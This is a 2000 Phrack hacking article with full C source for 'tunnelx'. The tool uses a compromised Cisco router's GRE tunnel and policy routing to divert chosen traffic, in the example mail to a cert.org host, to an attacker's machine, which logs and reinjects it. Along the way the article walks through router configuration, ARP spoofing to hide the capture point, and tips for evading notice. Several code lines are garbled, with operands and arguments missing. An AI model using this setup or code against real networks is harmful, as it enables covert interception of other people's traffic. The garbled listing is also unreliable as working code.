Title : Things To Do in Cisco Land When You're Dead
Author : gaius
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]
|----------------- THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ----------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <[email protected]> ---------------------------|
v0.2 1/1/00
----| 1. Disclaimer
Tunnelx (the code) is part of the research and development effort conducted by
HERT (Hacker Emergency Response Team). It is not a production tool for either
attack or defense within an information warfare setting. Rather, it is a
project demonstrating proof of concept.
If you are not the intended recipient, or a person responsible for delivering
it to the intended recipient, you are not authorized to and must not disclose,
copy, distribute, or retain this message or any part of it. Such unauthorized
use may be unlawful. If you have received this transmission in error, please
email us immediately at [email protected] so that we can arrange for its return.
The views expressed in this document are not necessarily the views of HERT.
Its directors, officers or employees make no representation or accept any
liability for its accuracy or completeness unless expressly stated to the
contrary.
----| 2. Introduction
When I think about routers in general, I feel exactly like I do when I go to
the supermarket and see all this food and then I can't stop thinking of mad
cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and
check what cisco 7500 is used for and how many corporations own them and how
many thousands of machines get routed through them... There is even a
traceroute map somewhere that can give you an idea of how deeply dependant we
are on these routers. It's been a long time since I stopped believing in
security, the core of the security problem is really because we are trusting
trust (read Ken Thomson's article, reflections on trusting trust), if I did
believe in security then I wouldn't be selling penetration tests.
How many times have you heard people saying, "Hey I 0wn this cisco, it would be
cool if I had IOS src... I could trojan and recompile it and do this and
that.", how many times have you heard of people wondering what the fuck they
could do with an enable password. The IOS src has been floating around for
quite a while now and no-one'z done anything with it yet; at least not among
the regular bugtraq letspretendtobefulldisclosure readers.
Well you don't even really need the IOS src, everything you need is already
there, (there is only one little thing that would be nice to have from the src
but we'll talk about it below). You can load up the image in IDA, nop out a
couple of instructions and the cisco's rmon implementation won't zero the
payload anymore and you have a IOS sniffer.
----| 3. Rerouting demystified
What you want to do is reroute some traffic from a router and send it to some
other place, capture it and resend it to the router and make it look like
nothing ever happened. Normal operation on a typical config will look like
this:
Internet ------------ Cisco ------------ Target
Ethernet0 Serial0
What we are going to do is:
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
At that point tcpdump won't show any output unless you try to ping an IP on
the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets
and some icmp proto 47 unreach packet coming from 192.168.1.1.
On your linux test box, make sure you have protocol number 47 unfirewalled,
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
Ok our link is up. And as you can see by default GRE is really stateless.
There is no handshake, as we are not in Microsoft land with GRE2 and stupid
PPTP.
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE
implementation source for not respecting their own RFC.
Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice;
in the file print-gre.c we have most of the info we need to start coding
tunnelx.
----| 4. tunnelx - IOS Transparent reroute and capture
I initialized a new CVS tree with libpcap and libnet, some gre header ripped
from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took
a glance at libnet's API doc and cleaned off the pizza bits and ice cream
from my fingers and decided to code something really simple and see if it
works:
- We define an unused IP address we call REENTRY and a fake ethernet address to
avoid a protocol unreachable storm that we call ETHER_SPOOF.
- We initialize libpcap and libnet and set up a pcap_loop.
- Then we make a pcap handler, which look for IP packets matching the GRE
protocol which are going to the tunnel exit point address as well as ARP
request packets.
- Our ARP parser bails out if it isn't a request for REENTRY or send a reply
with ETHER_SPOOF.
- Our GRE parser simply swaps IP and ether source and destitution, and
writes the packet to disk with pcap_dump(), increase the ttl, recompute
the checksum and flush it with libnet_write.
- That's it!!! Never would have believed it would have been so simple. Now
comes the tricky part; we have to configure the cisco correctly (define an
access list with all the stuff you want to reroute in it).
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
If you had tunnelx up and running before setting up the cisco config then it
should work now!!! And traceroute doesn't show any thing since its packets
are not matched by our access list!
BEWARE, however, when you want to disable the cisco configuration. Remove the
route map first with 'no route-map certisowned' *before* the access list
otherwise it will match all packets and they will go in an endless loop. Try
it on a small cisco 1600 before going in the wild with this stuff. Also try
not to be far away from the cisco. People can only know on which network
packets are captured not the actual host since we are arp spoofing, so take
advantage of that.
I said in the intro that some bits from IOS src would be nice to use, it
is their crypto code. You can setup an encrypted tunnel, make it use the
same key on both way so it will encrypt outgoing packets and decrypt them when
they come back. Tunnelx is just the same. You just need to add the crypto
routine in your pcap reader to make it decrypt the traffic.
Oh yes, I didn't talk about the pcap reader, you can just make a small program
that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet,
and create files for each session. lseek() is the key to do it without missing
out of order packets or getting messed up by duplicates. Since this article
is not destined for the average bugtraq or rootshell reader, the pcap dump
parser isn't included, you can send me some cash if you need a special version
of tunnelx or need technical support.
----| 5. Greeting and final words
:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,
I am already working on a new version that will let you do spoofing,
hijacking, and monitoring like in hunt... Don't forget you're on the router,
you can do everything, and everyone trusts you :).
----| 6. The code
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to [email protected]
// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a
#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>
#define IP_UCHAR_COMP(x, y) \
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) \
((u_short)ntohs(*(u_short *)(p)))
const u_char *packetp;
const u_char *snapend;
#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};
struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;
void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];
int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;
snaplen = SNAPLEN;
printer = pcap_print;
while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}
//inet_aton (TUNNELX_REENTRY, \_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device\n");
exit (EXIT_FAILURE);
}
li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);
pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s\n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d\n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));
if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}
if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}
void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;
packetp = p;
snapend = p + caplen;
eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);
switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;
if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->
|EOF|-------------------------------------------------------------------------|